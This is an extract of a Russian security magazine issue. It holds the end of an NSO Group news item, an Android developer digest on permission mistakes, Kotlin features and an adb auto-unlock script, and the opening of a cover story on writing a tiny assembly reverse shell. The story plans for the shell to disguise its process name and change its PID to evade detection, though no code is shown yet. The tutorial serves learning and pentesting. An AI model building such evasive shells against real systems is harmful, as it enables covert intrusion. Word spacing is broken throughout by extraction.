СМИ, пров­ одим­ ой Forbidden Stories и продв­ игае­ мой друг­ими лобб­ истс­ ким­ и групп­ ами, а такж­ е из‑за пол-­ ного игнор­ иров­ ания факт­ ов NSO объя­ вляе­ т, что больш­ е не  будет отвеч­ ать на запр­ осы СМИ по этом­ у поводу и не будет прин­ имать учас-­ тия в  этой жест­ окой и  клев­ етн­ ическ­ ой камп­ ании»,  — глас­ ил »пресс‑релиз. РАССЛЕДОВАНИЕ ВЛАСТЕЙ Так как заявл­ ения Amnesty International и Forbidden Stories вызв­ али огромный общест­ венн­ ый резонанс, прои­ сход­ ящим заинт­ ересов­ алось Минист­ ерст­ во обор­ оны Израи­ ля. Офиц­ иальн­ ые лица неск­ ольк­ их прав­ ительс­ твенн­ ых агентств стран­ ы пришл­ и с пров­ ерк­ ами в офис­ ы комп­ ании NSO Group. Власт­ и сообщ­ или, что решили сами расс­ лед­ овать обвин­ ения, выдв­ инутые прот­ ив комп­ ании. Хот­ я мног­ ие СМИ назв­ али прои­ сход­ ящее «рейд­ ами», сами предс­ тав­ ител­ и NSO Group характ­ еризов­ али это как «визиты». В комп­ ании сообщ­ или: « «Мы можем подт­ верд­ ить, что предс­ тав­ ител­ и Минист­ ерст­ ва обор­ оны Израи­ ля посетил­ и наши офис­ ы. Мы прив­ етст­ вуе­ м эту инспекц­ ию и увер­ ены, что пров­ ерк­ а лишь докажет факт­ ы, которые неодн­ ократн­ о прив­ одил­ а комп­ ания, вопр­ еки ложн­ ым обвин­ ения­ м, выдв­ инутым про-­ »тив нас в недавн­ их атак­ ах СМИ». Изр­ аильс­ кое новост­ ное агентство Calcalist цитиров­ ало анон­ имн­ ый источник, который подт­ верд­ ил, что «рейд­ ы» скор­ ее были форм­ альн­ ой встреч­ ей, а  не углубленн­ ой пров­ ерк­ ой документ­ ов и компью­ терн­ ых сист­ ем NSO Group. Стои­ т отмет­ ить, что комп­ ании, которые разр­ абатыв­ ают и  прод­ ают спай‐­ варь и  друг­ ое offensive ПО, долж­ ны регист­ рир­ оватьс­ я в  государст­ венн­ ых орган­ ах и  получать спец­ иальн­ ую экспортную лиценз­ ию на  прод­ ажу свое­ го прогр­ амм­ ног­ о обесп­ ечения. В наст­ оящее врем­ я NSO Group имее­ т лиценз­ ию прав­ ительс­ тва Израи­ ля. В  2019  году прав­ озащ­ итн­ ики уже подавал­ и иск, пытая­ сь заст­ авить израи­ льс­ кое прав­ ительс­ тво отозв­ ать лиценз­ ию NSO Group (заявл­ яя, что ПО  комп­ ании использ­ овалось для  нарушен­ ия прав человек­ а), однак­ о в июле 2020 года израи­ льс­ кий суд попр­ осту отклон­ ил этот иск.

HEADER Евгений Зобнин Редактор Unixoid и Mobile [email protected] ANDROID ОШИБКИ РАБОТЫ С РАЗРЕШЕНИЯМИ И БИБЛИОТЕКА SECURITY-APP-AUTHENTICATOR Сег­ одн­ я в  выпуск­ е: разб­ ор типичн­ ых ошиб­ ок работы с  раз‐­ решения­ ми Android, библ­ иотек­ а Security-App-Authenticator для пров­ ерк­ и подл­ инност­ и прил­ ожен­ ий, статья об оптим­ иза‐­ ции загр­ узки прил­ ожен­ ия, а  такж­ е функ­ ции‑расш­ ирения, value-класс­ ы и  функ­ ции групп­ ировк­ и данн­ ых в  Kotlin. И конечн­ о же, очер­ едн­ ая подб­ орка библ­ иотек. ПОЧИТАТЬ Ошибки работы с разрешениями Common mistakes when using permissions in  Android  — статья об  ошибк­ ах, которые допуск­ ают разр­ аботч­ ики при декл­ арации собст­ венн­ ых разр­ ешений. Преа­ мбул­ а: в Android есть сист­ ема разр­ ешений (permissions). Разр­ ешения могут быть уровн­ я normal (они пред­ ост­ авляю­ тся без  вопр­ осов), dangerous (прил­ ожен­ ие обяз­ ано запр­ осить разр­ ешение у польз­ овател­ я), signature (при‐­ ложен­ ие долж­ но быть подп­ исано тем же ключ­ ом, что и  комп­ онент, пред­ ос‐­ тавляе­ мый по  разр­ ешению) и  неск­ ольк­ их друг­ их сист­ емных типов, исполь‐­ зуемых тольк­ о прил­ ожен­ иями из комп­ лект­ а прош­ ивк­ и. Кром­ е того, прил­ ожен­ ия могут декл­ ариров­ ать свои собст­ венн­ ые раз‐­ решения, которые долж­ ны использ­ овать друг­ ие прил­ ожен­ ия для  дост­ упа к  возм­ ожност­ ям этог­ о прил­ ожен­ ия (запуск­ ать активност­ и, получать данн­ ые из content provider’ов и так далее). Декл­ арация таких разр­ ешений в манифес‐­ те выгл­ ядит прим­ ерн­ о так: <permission android:name=\"com.mycoolcam.USE_COOL_CAMERA\" android: protectionLevel=\"dangerous\" /> <activity android:name=\".CoolCamActivity\" android:exported=\"true\" android:permission=\"com.mycoolcam.USE_COOL_CAMERA\"> <intent-filter> <action android:name=\"com.mycoolcam.LAUNCH_COOL_CAM\" /> <category android:name=\"android.intent.category.DEFAULT\" /> </intent-filter> </activity> Сейч­ ас дост­ уп к  активност­ и CoolCamActivity защищен с  помощью раз‐­ решения com.mycoolcam.USE_COOL_CAMERA. А теперь ошибк­ и, которые соверш­ ают разр­ аботч­ ики, когд­ а декл­ арирую­ т свои разр­ ешения и защищаю­ т ими комп­ онент­ ы: 1. Уров­ ень разр­ ешения не указ­ ан. Если в пред­ ыдущ­ ем прим­ ере не ука‐­ зать уров­ ень разр­ ешения (android:protectionLevel=\"dangerous\"), он стан­ ет normal и в итог­ е дост­ уп к защищенн­ ой активност­ и смож­ ет получить какое угодн­ о прил­ ожен­ ие (дост­ аточн­ о указ­ ать в  манифест­ е, что оно использ­ ует это разр­ ешение). 2. Уров­ ень разр­ ешения signature не  опред­ елен во  всех прил­ оже-­ ниях. Допуст­ им, у  тебя есть два прил­ ожен­ ия, которые долж­ ны обме‐­ ниватьс­ я данн­ ыми. Чтоб­ ы защитить их от несанк­ цио­ нир­ ованн­ ого дост­ упа, ты добавл­ яешь в прил­ ожен­ ие 1 опред­ елен­ ие разр­ ешения: <permission android:name=\"com.mycoolcam.USE_COOL_CAMERA\" android: protectionLevel=\"signature\" /> При этом в  прил­ ожен­ ии  1  такого опред­ елен­ ия нет, так как  оно тольк­ о использ­ ует это разр­ ешение. В итог­ е если на устройс­ тво устан­ овить тольк­ о втор­ ое прил­ ожен­ ие, то Android, ничего не  знаю­ щий о  разр­ ешении com. mycoolcam.USE_COOL_CAMERA, автом­ атич­ еск­ и назн­ ачит ему уров­ ень normal вмест­ о опред­ еленн­ ого в прил­ ожен­ ии 1 уровн­ я signature. Доб­ авл­ яй опред­ елен­ ие разр­ ешения во все прил­ ожен­ ия. 3. Отс­ утст­ вие каких‑либо разр­ ешений. Допуст­ им, есть прил­ ожен­ ие, которое использ­ ует сист­ емное разр­ ешение android.permission. READ_CONTACTS. У  этог­ о прил­ ожен­ ия есть content provider, который пре‐­ дост­ авляе­ т дост­ уп к  базе данн­ ых прил­ ожен­ ия, включ­ ая конт­ акты поль‐­ зовател­ ей. И  этот content provider не  защищен никаким разр­ ешение­ м. В  итог­ е стор­ онн­ ие прил­ ожен­ ия могут получить дост­ уп к  конт­ актам поль‐­ зовател­ я опоср­ едованн­ о, через это прил­ ожен­ ие. РАЗРАБОТЧИКУ Библиотека Security-App-Authenticator Hands on with Jetpack’s Security App Authenticator library — небольш­ ая заметк­ а о нов­ ой библ­ иотек­ е в комп­ лект­ е Android Jetpack. Библ­ иотек­ а нужн­ а для  пров­ ерк­ и подл­ инност­ и серт­ ификат­ ов прил­ ожен­ ий, с которым­ и будет конт­ актир­ овать твое прил­ ожен­ ие. Делае­ тся это с помощью сверк­ и конт­ рольн­ ой сумм­ ы серт­ ификат­ а прил­ ожен­ ия и  его сравн­ ения с  уже сохр­ аненн­ ым списк­ ом конт­ рольн­ ых сумм. Этак­ ий SSL Pinning для  прил­ оже‐­ ний. Пер­ ед тем как использ­ овать библ­ иотек­ у, в подк­ аталог­ е xml ресурс­ ов при‐­ ложен­ ия необх­ одимо помест­ ить XML-файл с  прои­ звольн­ ым имен­ ем и  при‐­ мерн­ о след­ ующим содерж­ имым: <?xml version=\"1.0\" encoding=\"utf-8\"?> <app-authenticator> <expected-identity> <package name=\"com.example.app\"> <cert-digest> 7d5ac0f764d5ae47a051777bb5fc9a96f30b6b4d3bbb95cddb1c32932fb28b10</ cert-digest> </package> </expected-identity> </app-authenticator> Этот файл говорит, что прил­ ожен­ ие с имен­ ем пакета com.example.app дол‐­ жно иметь серт­ ификат с указ­ анн­ ой конт­ рольн­ ой сумм­ ой SHA-256. Дал­ ее можн­ о начать использ­ овать библ­ иотек­ у: // Создаем экземпляр аутентификатора из описанного выше XML-файла val authenticator = AppAuthenticator.createFromResource(context, R. xml.expected_app_identities) // Первый способ проверки сертификата val result = when (authenticator.checkAppIdentity(\"com.example.app\")) { AppAuthenticator.SIGNATURE_MATCH -> \"Signature matches\" AppAuthenticator.SIGNATURE_NO_MATCH -> \"Signature does not match\" else -> return } // Второй способ проверки с выбросом исключения try { authenticator.enforceAppIdentity(\"com.example.app) // ...работаем с приложением } catch (e: SecurityException) { // ...не стоит доверять этому приложению } Как видн­ о, есть неск­ ольк­ о спос­ обов пров­ ерк­ и. Перв­ ый удобн­ о использ­ овать для прост­ ых пров­ ерок. Втор­ ой удоб­ ен для использ­ ования в функ­ ция­ х работы с пров­ еряе­ мым прил­ ожен­ ием. Прост­ о добавл­ яем в их начало пров­ ерк­ у, и все остальн­ ое сдел­ ает сист­ ема обраб­ отк­ и исключ­ ений. Оптимизация загрузки приложений How OkCredit Android App improved Cold Startup by 70% Anjal Saneen  — оче‐­ редн­ ая статья об  ускор­ ении холодн­ ого запуск­ а прил­ ожен­ ия. Основные момент­ ы: 1. Лен­ ивая иниц­ иализ­ ация. Ленивая иниц­ иализ­ ация объе­ ктов с  помощью Dagger Lazy позв­ оляе­ т сильн­ о сокр­ атить врем­ я старт­ а при‐­ ложен­ ия. 2. Фон­ овые потоки. Чтоб­ ы основной поток прил­ ожен­ ия не  трат­ ил врем­ я на  иниц­ иализ­ ацию комп­ онент­ ов, эту задачу лучш­ е вынест­ и в  фоновый поток: override fun onCreate() { super.onCreate() setupDependencyInjection() observeProcessLifecycle() Executors.newSingleThreadExecutor().execute { firebaseRemoteConfig.get().fetchAndActivate() setupJobScheduler() setupAppsFlyer() setupAnalytics() trackDeviceInfo() } } 3. Опт­ имизац­ ия элем­ ент­ ов UI. Чем меньш­ е в  UI использ­ уетс­ я сложн­ ых влож­ енн­ ых друг в друг­ а элем­ ент­ ов интерфейс­ а, тем быст­ рее отраб­ атыв­ ает отрис­ овк­ а. Самый прост­ ой спос­ об сдел­ ать это — использ­ овать Constraint Layout, спос­ обн­ ый заменить слое­ ный пирог друг­ их лейа­ утов. При  этом самым быст­ рым в  отрис­ овк­ е счит­ аетс­ я FrameLayout. Именн­ о его след­ ует использ­ овать в качест­ ве конт­ ейн­ ера. 4. Удал­ ение Firebase. Firebase  — отличный инст­ рум­ ент анал­ итик­ и, но  на его иниц­ иализ­ ацию уход­ ит слишк­ ом мног­ о врем­ ени. Если удал­ ить Firebase и  заменить его более легк­ им решение­ м, то можн­ о выигр­ ать неск­ ольк­ о десятк­ ов милл­ исекунд. 5. Изб­ авлен­ ие от  Joda Time. Joda Time  — прекр­ асная библ­ иотек­ а для  работы со  врем­ енем, но  в ней использ­ уютс­ я крайн­ е неэфф­ ективн­ ые решения. Лучш­ е либо заменить эту библ­ иотек­ у java.time, либо отлож­ ить ее иниц­ иализ­ ацию на как можн­ о более позд­ нее врем­ я. 6. Лен­ ивая иниц­ иализ­ ация content provider’ов. Иниц­ иализ­ ация про‐­ вайд­ еров конт­ ента (а сред­ и них есть и  WorkManager, и  тот же Firebase) прои­ сход­ ит в основном потоке до запуск­ а самого прил­ ожен­ ия. Использ­ уя библ­ иотек­ у Jetpack AndroidX App Startup, иниц­ иализ­ ацию content provider’ов можн­ о отлож­ ить и  сэконом­ ить еще  неск­ ольк­ о десятк­ ов мил‐­ лисекунд. 7. Отк­ аз от  I/O-опер­ ации и  десериа­ лиз­ ации JSON в  основном потоке. Здесь все прост­ о и логичн­ о. Группировка данных в Kotlin Kotlin Grouping — статья о встрое­ нных функ­ ция­ х групп­ ировк­ и в язык­ е Kotlin. В Kotlin есть функ­ ция‑расш­ ирение groupBy(), которую можн­ о прим­ енить к колл­ екция­ м. Работае­ т она так: Как видн­ о, функ­ ция разб­ ивае­ т List на Map, где в качест­ ве ключ­ ей использ­ уют‐­ ся знач­ ения, полученн­ ые при  выполн­ ении указ­ анн­ ой в  аргум­ ент­ е groupBy() лямб­ ды, а  в качест­ ве знач­ ений  — спис­ ок знач­ ений, вход­ ящих в  эту групп­ у. В данн­ ом случ­ ае тело лямб­ ды — it.first(), поэтом­ у групп­ ировк­ а прои­ схо‐­ дит по перв­ ому симв­ олу. Инт­ ересн­ о, что groupBy() прин­ имае­ т и  втор­ ой аргум­ ент. В  нем можн­ о передать функ­ цию транс­ форм­ ации, которая будет выполн­ ена над знач­ ения­ ми колл­ екции. Еще одна функ­ ция групп­ ировк­ и — это groupingBy(). В отлич­ ие от пред­ ыду‐­ щей, она предн­ азнач­ ена не  для групп­ ировк­ и как  таковой, а  для выполн­ ения над сгрупп­ ированн­ ыми данн­ ыми какой‑либо общей опер­ ации. Допуст­ им, мы хотим посч­ итать количест­ во слов на кажд­ ую букв­ у в колл­ екции. Мы могл­ и бы сдел­ ать это в цикл­ е, но можн­ о обойт­ ись всег­ о одной строк­ ой. Обр­ ати вним­ ание, что функ­ ция возв­ ращ­ ает не  Map или  List, а  объе­ кт Grouping, над  которым мы как  раз и  выполн­ яем опер­ ацию eachCount()  — подс­ чет общег­ о количест­ ва элем­ ент­ ов в кажд­ ой групп­ е. Такж­ е Grouping под‐­ держив­ ает опер­ ации fold(), reduce() и aggregate(), о которых можн­ о про‐­ читать в офиц­ иальн­ ой документ­ ации. Бол­ ее сложн­ ый прим­ ер, использ­ ующий обе функ­ ции: подс­ чет количест­ ва законч­ енных и незаконч­ енных задач. Value-классы в Kotlin 1.5 How I use the new Inline Value Classes in Kotlin — хорошая статья с расс­ каз­ ом о новом типе класс­ ов в Kotlin 1.5. Предс­ тавь себе след­ ующую ситуа­ цию. Есть такой класс: class Person( val firstName: String, val lastName: String, val age: Int, val siblings: Int, ... ) Бан­ альн­ ейший класс, анал­ оги которог­ о созд­ авал любой прогр­ аммист. Где‑то в коде такж­ е есть такая функ­ ция: fun setPersonData(firstName: String, lastName: String, age: Int, siblings: Int) Пок­ а все абсол­ ютн­ о норм­ альн­ о, но что, если ты прост­ о перепут­ аешь порядок аргум­ ент­ ов: setPersonData(\"Smith\", \"John\", 0, 24) В этом случ­ ае функ­ ция отраб­ отае­ т абсол­ ютн­ о непр­ авильн­ о, а  сред­ а раз‐­ работк­ и не  сдел­ ает ни  един­ ого пред­ упр­ ежден­ ия. К  тому же если в  будущем внутр­ енний форм­ ат хран­ ения данн­ ых измен­ итс­ я (в этом прим­ ере пробл­ ем нет, но в реальн­ ом коде ID типа Int может заменитьс­ я, напр­ имер, на текс­ то‐­ вый UID), то перераб­ атыв­ ать прид­ етс­ я весь код, работаю­ щий с  функ­ цие­ й и класс­ ом. Реш­ ить эти пробл­ емы можн­ о так: class Person( val firstName: FirstName, val lastName: LastName, val age: Age, val siblings: Siblings, ... ) fun setPersonData(firstName: FirstName, lastName: LastName, age: Age, siblings: Siblings) setPersonData( FirstName(\"John\"), LastName(\"Smith\"), Age(24), Siblings(0), ) То есть оберн­ уть прост­ ые типы данн­ ых в объе­ кты. Но! Во‑перв­ ых, это неудоб‐­ но, во‑втор­ ых, пост­ оянн­ ое созд­ ание объе­ ктов в  итог­ е прив­ едет к  падению прои­ звод­ ительн­ ост­ и. Как раз здесь на сцен­ у выходит value class. По сути, это класс с одним полем, напр­ имер: value class FirstName(val value: String) Одн­ ако, в отлич­ ие от обычн­ ого класс­ а, value-класс инлайн­ овый. Он не будет сущест­ вов­ ать в  результ­ ирую­ щем байт‑коде прил­ ожен­ ия. Комп­ илятор раз‐­ вернет все value-класс­ ы и будет использ­ овать вмест­ о них сохр­ аненн­ ые внут‐­ ри знач­ ения. Бол­ ее того, value-класс может не  прост­ о хран­ ить знач­ ение, но  и валиди‐­ ровать его. Напр­ имер: value class Age( val value: Int, ){ init { require(value >= 0) { \"age must be >= 0: '$value'\" } } } Так­ ой value-класс выбр­ осит исключ­ ение IllegalArgumentException, если соз‐­ дать его с отриц­ ательн­ ым знач­ ение­ м. Методы vs функции-расширения Consider extracting non-essential parts of  your API into extensions  — статья о разл­ ичия­ х межд­ у методам­ и класс­ а и функ­ ция­ ми‑расш­ ирения­ ми. Доп­ уст­ им, у нас есть два фрагм­ ента кода. Перв­ ый: class Workshop(/*...*/) { fun makeEvent(date: DateTime): Event = //... val permalink get() = \"/workshop/$name\" } Втор­ ой: class Workshop(/*...*/) { } fun Workshop.makeEvent(date: DateTime): Event = //... val Workshop.permalink get() = \"/workshop/$name\" Они очень похожи, в  том смысл­ е, что добавл­ яют в  один класс одни и  те же функ­ ции. Но перв­ ый фрагм­ ент делае­ т это класс­ ическ­ им спос­ обом — добав‐ ляя в класс методы, а втор­ ой — через использ­ ование функ­ ций‑расш­ ирений. Все выгл­ ядит почт­ и один­ аков­ ым, но есть разл­ ичия: 1. В отлич­ ие от родн­ ых методов, расш­ ирения нужн­ о импортир­ овать отдель‐­ но. 2. Расш­ ирения не  вирт­ уальн­ ые, то есть их нельз­ я перео­ пред­ елить в  клас‐­ сах‑насл­ едник­ ах. 3. Функ­ ции‑расш­ ирения работаю­ т с типом, а не с класс­ ом. 4. Форм­ альн­ о функ­ ции‑расш­ ирения не счит­ аютс­ я частью класс­ а. Благ­ одар­ я перв­ ому разл­ ичию функ­ ции‑расш­ ирения можн­ о расс­ матр­ ивать как  отличных канд­ идатов для  дополн­ ительн­ ых функ­ ций, которые могут понадоб­ итьс­ я, но  в больш­ инст­ ве случ­ аев не  нужн­ ы. Более того, можн­ о соз‐­ дать неск­ ольк­ о файл­ ов функ­ ций‑расш­ ирений, которые измен­ яют класс по‑разн­ ому. В  одной ситуа­ ции могут быть нужн­ ы одни дополн­ ительн­ ые фун‐­ кции, в друг­ ой — друг­ ие. Втор­ ое важн­ ое разл­ ичие: функ­ ции‑расш­ ирения добавл­ яютс­ я к  типу, а  не к класс­ у. Это позв­ оляе­ т писать, напр­ имер, такие функ­ ции‑расш­ ирения: inline fun CharSequence?.isNullOrBlank(): Boolean { contract { returns(false) implies (this@isNullOrBlank != null) } return this == null || this.isBlank() } С точк­ и зрен­ ия комп­ илятор­ а, CharSequence? и  CharSequence  — это  разн­ ые типы. Авторазблокировка смартфона после установки сборки Auto Unlock Android Device on App Deploy — коротк­ ая заметк­ а о том, как авто‐­ матич­ еск­ и разб­ лок­ иров­ ать смарт­ фон посл­ е устан­ овк­ и новой сборк­ и при‐­ ложен­ ия. Спос­ об работае­ т тольк­ о в  UNIX-сист­ емах и  треб­ ует скрипт device_awake.sh. Но, чтоб­ ы он заработ­ ал, необх­ одимо исправ­ ить неск­ ольк­ о строк: adb shell input keyevent KEYCODE_WAKEUP # wakeup device adb shell input touchscreen swipe 530 1420 530 1120 # swipe up gesture adb shell input text \"000000\" # <- Change to the your device PIN/ Password #adb shell input keyevent 66 # simulate press enter, if your keyguard requires it Перв­ ую строк­ у оставляе­ м как есть. Она включ­ ает экран. Втор­ ая строк­ а делае­ т свайп сниз­ у вверх, но  если использ­ уетс­ я телефон с  высоким разр­ ешение­ м, то посл­ еднюю цифр­ у лучш­ е исправ­ ить на 500 или даже меньш­ е (инач­ е свайп будет слишк­ ом коротк­ им). Третья строк­ а ввод­ ит PIN-код, его нужн­ о впис­ ать вмест­ о строк­ и \"000000\". Четв­ ертая строк­ а нужн­ а не  на всех телефон­ ах и поэтом­ у закомм­ ентир­ ован­ а. Есл­ и посл­ е ввод­ а PIN-кода не прои­ сход­ ит автом­ атич­ еск­ ая разб­ лок­ ировк­ а экран­ а — ее след­ ует раск­ оммент­ ировать: 1. Пер­ еход­ им в  Android Studio и  открыв­ аем параметр­ ы сборк­ и (Edit configuration...). 2. В открывш­ емся окне нажимае­ м кнопк­ у + и выбирае­ м Shell Script. 3. Указ­ ывае­ м в перв­ ом поле ввод­ а путь к скрипт­ у. 4. Возв­ ращ­ аемс­ я обратно в  конф­ игурац­ ию прил­ ожен­ ия и  в разд­ еле Before launch нажимае­ м + и  выбирае­ м Run Another Configuration, выбирае­ м наш скрипт. В ориг­ инальн­ ой статье есть карт­ инки, поясн­ яющие эти шаги. БИБЛИОТЕКИ • Android-Security-Teryaagh — больш­ ая подб­ орка руководств, стат­ ей и пен‐­ тест‑инст­ рум­ ент­ ов; • Flinger  — библ­ иотек­ а для  управлен­ ия чувст­ вит­ ельн­ остью свайп­ а LazyList в Jetpack Compose; • Walk-Through-Screen  — аним­ иров­ анн­ ый индик­ атор переход­ а межд­ у экра‐­ нами; • SSImagePicker  — комп­ онент для  выбора изобр­ ажения в  галерее с  воз‐­ можностью редакт­ ирован­ ия; • PasswordStrengthView — view, нагл­ ядно показыв­ ающий надежн­ ость пароля; • DashedView — view с полосат­ ым фоном; • BubbleTabBar — нижн­ яя панель навигац­ ии с крас­ ивым­ и эффектам­ и; • Navigator — библ­ иотек­ а навигац­ ии с подд­ ерж­ кой Jetpack Compose; • Volyager  — еще  одна библ­ иотек­ а навигац­ ии, исключ­ ительн­ о для  Jetpack Compose; • Compose-richtext — набор комп­ онент­ ов Jetpack Compose для форм­ атиро‐­ вания текс­ та; • KAHelpers — больш­ ая колл­ екция функ­ ций‑расш­ ирений; • PixImagePicker — экран выбора изобр­ ажений в стил­ е WhatsApp; • PowerSpinner — крас­ ивое выпадаю­ щее меню; • AppIntro — библ­ иотек­ а для созд­ ания тех самых отврат­ ительн­ ых пошагов­ ых экран­ ов перв­ ого запуск­ а; • Quantitizer — крас­ ивый view для выбора количест­ ва чего‑либо; • Pluto — библ­ иотек­ а для отладки прил­ ожен­ ия прям­ о на устройс­ тве.

COVERSTORY РЕВЕРС-ШЕЛЛ 237НА   БАЙТ ИЗУЧАЕМ ХАКИ LINUX ДЛЯ УМЕНЬШЕНИЯ ИСПОЛНЯЕМОГО ФАЙЛА Одн­ ажды меня спрос­ или: можн­ о ли Ксения Кирилова написать реверс‑шелл байт эдак на  200, Desperately in love with Linux который, помимо проч­ его, менял  бы себе имя, перио­ дич­ еск­ и  — PID, варил кофе and C и  желательн­ о взлам­ ывал Пент­ агон? Ответ, [email protected] увы, очев­ иден  — «нельз­ я». Однак­ о задача, как  мне показал­ ось, сама по  себе весьм­ а интер­ есн­ ая. Посм­ отрим, какие есть пути к ее решению. И СНОВА: ЗАЧЕМ? На прост­ орах сети можн­ о легк­ о найт­ и, к  прим­ еру, tiny shell, prism и  друг­ ие реверс‑шелл­ ы. Те из  них, что написан­ ы на  С, занимаю­ т лишь десятк­ и‑сотн­ и килобайт. Так к чему созд­ авать еще один? А суть вот в чем. Цель данн­ ой статьи учебн­ ая: равн­ о как разр­ аботк­ а ядер‐­ ных рутк­ итов — один из наибол­ ее нагл­ ядных спос­ обов разобр­ атьс­ я с устрой‐­ ством самого ядра Linux, написан­ ие обратног­ о шелл­ а с дополн­ ительн­ ой фун‐­ кцио­ нальн­ остью и одноврем­ енн­ о с огран­ ичен­ иями по разм­ еру исполняе­ мог­ о файл­ а позв­ оляе­ т изуч­ ить некотор­ ые неожид­ анн­ ые особ­ енн­ ости положен­ ия вещей в  Linux, в  част­ ност­ и касаю­ щихс­ я ELF-файл­ ов, их загр­ узки и  запуск­ а, насл­ едован­ ия ресурс­ ов в дочерн­ их проц­ есс­ ах и работы комп­ оновщ­ ика (он же линк­ ер, линк­ овщик, редакт­ ор связ­ ей). По ходу дела нас ждет множ­ ест­ во инте‐­ ресн­ ых открыт­ ий и любопытн­ ых хаков. А бонусом нам будет рабочий инст­ ру‐­ мент, который заодн­ о можн­ о допилив­ ать и  прим­ енять в  пент­ есте. Посему начн­ ем! INFO Рез­ ульт­ аты труд­ ов дост­ упны на гитх­ абе. WARNING Ни автор, ни  редакц­ ия не  несут ответст­ венн­ ости за  любые посл­ едст­ вия использ­ ования прив­ еден‐­ ных в  этой публ­ икации свед­ ений. Вся информа‐­ ция пред­ ост­ авлен­ а исключ­ ительн­ о ради информир­ ован­ ия читател­ я. ОПРЕДЕЛЯЕМСЯ С ТЗ Итак, наш реверс‑шелл помимо того, что подк­ люч­ атьс­ я к  заданн­ ому хост­ у на заданн­ ый порт, такж­ е долж­ ен: • изм­ енять собст­ венн­ ое имя при запуск­ е — так мы будем менее заметн­ ы; • пер­ иодич­ еск­ и менять идент­ ификат­ ор проц­ есс­ а  — так мы будем менее улов­ имы; • иметь минимальн­ о возм­ ожный разм­ ер — так будет интер­ есн­ ее. Сперв­ а опред­ елимс­ я с язык­ ом. Поск­ ольк­ у мы стрем­ имс­ я к минимальн­ о воз‐­ можном­ у разм­ еру бинаря, в голову прих­ одит лишь два вариа­ нта: С и ассем‐­ блер. Однак­ о, как ты, вероя­ тно, знае­ шь, хоть С и позв­ оляе­ т собирать крох­ от‐­ ные по  совр­ еменн­ ым мерк­ ам Hello World’ы (прим­ ерн­ о  17  и  ~800  Кбайт при  динамич­ еск­ ой и  стат­ ическ­ ой линк­ овке соотв­ етст­ венн­ о прот­ ив  2  Мбайт на Go), при комп­ иляции С‑кода генерир­ уетс­ я такж­ е код, отвеч­ ающий: • за запуск глоб­ альн­ ых конст­ рукт­ оров и дест­ рукт­ оров, если они есть; • за корр­ ект­ ную передач­ у аргум­ ент­ ов в main(); • за передач­ у управлен­ ия затем из __libc_start_main() в main(). Конструкторы и деструкторы Масс­ ивы функ­ ций‑конст­ рукт­ оров и  функ­ ций‑дест­ рукт­ оров запуск­ аютс­ я перед и посл­ е main() соотв­ етст­ венн­ о. Их код находитс­ я в отдельн­ ых секц­ иях в прот­ ивов­ ес «обычн­ ому», попадаю­ щем­ у в .text. Такие функ­ ции использ­ уют‐­ ся, напр­ имер, для  разл­ ичных иниц­ иализ­ аций в  разд­ еляе­ мых библ­ иотек­ ах или  для устан­ овк­ и параметр­ ов буфериз­ ации в  некотор­ ых прил­ ожен­ иях, вза‐­ имод­ ейс­ твую­ щих по сети (в част­ ност­ и, это иногд­ а встреч­ аетс­ я в CTF-таск­ ах). Чтоб­ ы функ­ ция попала в  одну из  этих секц­ ий, след­ ует указ­ ывать __attribute__ ((constructor)) или  __attribute__ ((destructor)) перед опред­ елен­ ием функ­ ции. В некотор­ ых случ­ аях секц­ ии, хран­ ящие эти функ­ ции, могут иметь имен­ а .ctors/.init/.init_array и  .dtors/.fini/.fini_array. Все они играю­ т в  целом одну роль, и  разл­ ичия нас в  рамк­ ах данн­ ой статьи не  интер­ есую­ т. Подр­ обнее о  глоб­ альн­ ых конст­ рукт­ орах и  дест­ рукт­ орах можн­ о почитать на wiki.osdev.org. Такж­ е на  выходе исполняе­ мый файл может содерж­ ать секц­ ии с  отлад­ очн­ ой и  проч­ ей информац­ ией (напр­ имер, имен­ а симв­ олов, верс­ ия комп­ илятор­ а), которая не  использ­ уетс­ я непоср­ едст­ венн­ о для  его запуск­ а и  работы, но  занимае­ мое файл­ ом прост­ ранст­ во увел­ ичив­ ает, и  иногд­ а знач­ ительн­ о. О таких секц­ иях мы поговор­ им немн­ ого позж­ е. Данн­ ая обвязка неразр­ ывно связ­ ана с  С‑бинарям­ и как  минимум в  Linux. Для  нас же в  рамк­ ах нашей задачи она  — балл­ аст, от  которог­ о необх­ одимо нещадн­ о избавлятьс­ я. Так что реверс‑шелл наш будет написан на  великом и  ужасн­ ом язык­ е ассемб­ лер­ а (естест­ венн­ о, под  x86). План таков: сперв­ а напишем рабочий код, а  уже затем будет заниматьс­ я кард­ инальн­ ым умень‐­ шение­ м его разм­ ера. КОДИМ Мы будем использ­ овать NASM. За  основ­ у возьм­ ем прост­ ейш­ ий асм­ овый реверс‑шелл. Разм­ ышлен­ ия на тему, долж­ ен ли наш код быть 32- или 64-бит‐­ ным, прив­ ели меня к выводу, что перв­ ый вариа­ нт предп­ очтит­ ельн­ ее: инст­ рук‐­ ции в этом режиме меньш­ е, а необх­ одимой функ­ цио­ нальн­ ост­ и мы не теряе­ м, ведь наша главн­ ая задача по  сути сост­ оит лишь в  подк­ люч­ ении к  серв­ еру и запуск­ е обол­ очк­ и, а сама она будет работать уже в 64-битн­ ом режиме. Код будет делать след­ ующее: • при запуск­ е реверс‑шелл меняе­ т свой перв­ ый аргум­ ент запуск­ а  — эти аргум­ ент­ ы отобр­ ажаю­ тся в ps, htop; • такж­ е меняе­ т кратк­ ое имя — оно отобр­ ажае­ тся утил­ итой top; • зат­ ем проб­ ует подк­ люч­ итьс­ я к серв­ еру. При неудач­ е созд­ аетс­ я дочерн­ ий проц­ есс, заверш­ аетс­ я родительс­ кий, выжидае­ тся тайм‑аут, посл­ е чего попытк­ а подк­ люч­ ения повт­ оряе­ тся; • при успешном подк­ люч­ ении запуск­ аетс­ я /bin/sh, stdin, stdout и  stderr которог­ о связ­ аны с  сокетом, общаю­ щимс­ я с  серв­ ером. Имя проц­ есс­ а такж­ е подм­ еняе­ тся. Что ж, за дело! Что в имени тебе? В Linux можн­ о встрет­ ить две «сущн­ ости», хран­ ящие связ­ анн­ ое с  проц­ есс­ ом имя. Назовем их «полн­ ое» и «кратк­ ое имя». Оба дост­ упны через /proc: пол‐­ ное в  /proc/<pid>/cmdline, кратк­ ое в  /proc/<pid>/comm (comm от command). Кратк­ ое имя, согл­ асно опис­ анию, содерж­ ит имя исполняе­ мог­ о файл­ а без  пути до  него. Это  имя хран­ итс­ я в  ядерн­ ой структ­ уре task_struct, опи‐­ сываю­ щей проц­ есс (задачу, если более корр­ ект­ но в терм­ инах ядра), и имее­ 